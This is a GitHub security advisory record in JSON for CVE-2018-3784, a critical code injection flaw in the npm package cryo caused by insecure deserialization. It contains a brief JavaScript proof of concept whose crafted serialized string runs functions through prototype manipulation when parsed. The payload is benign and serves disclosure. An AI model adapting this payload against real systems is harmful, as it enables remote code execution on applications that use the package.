{"id":"GHSA-38f5-ghc2-fcmv","summary":"Code Injection in cryo","details":"All versions of `cryo` are vulnerable to code injection due to an Insecure implementation of deserialization.\n\n\n## Proof of concept\n\n```js\nvar Cryo = require('cryo');\nvar frozen = '{\"root\":\"_CRYO_REF_3\",\"references\":[{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\"); return 1111;}\"},{\"contents\":{},\"value\":\"_CRYO_FUNCTION_function () {console.log(\\\\\"defconrussia\\\\\");return 2222;}\"},{\"contents\":{\"toString\":\"_CRYO_REF_0\",\"valueOf\":\"_CRYO_REF_1\"},\"value\":\"_CRYO_OBJECT_\"},{\"contents\":{\"__proto__\":\"_CRYO_REF_2\"},\"value\":\"_CRYO_OBJECT_\"}]}'\nvar hydrated = Cryo.parse(frozen);\nconsole.log(hydrated);\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.","aliases":["CVE-2018-3784"],"modified":"2023-11-08T04:00:20.055238Z","published":"2018-08-21T17:02:43Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2020-06-16T20:54:31Z","nvd_published_at":null,"cwe_ids":["CWE-94"],"severity":"CRITICAL"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-3784"},{"type":"WEB","url":"https://hackerone.com/reports/350418"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-38f5-ghc2-fcmv"},{"type":"WEB","url":"https://www.npmjs.com/advisories/690"}],"affected":[{"package":{"name":"cryo","ecosystem":"npm","purl":"pkg:npm/cryo"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.0.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/08/GHSA-38f5-ghc2-fcmv/GHSA-38f5-ghc2-fcmv.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}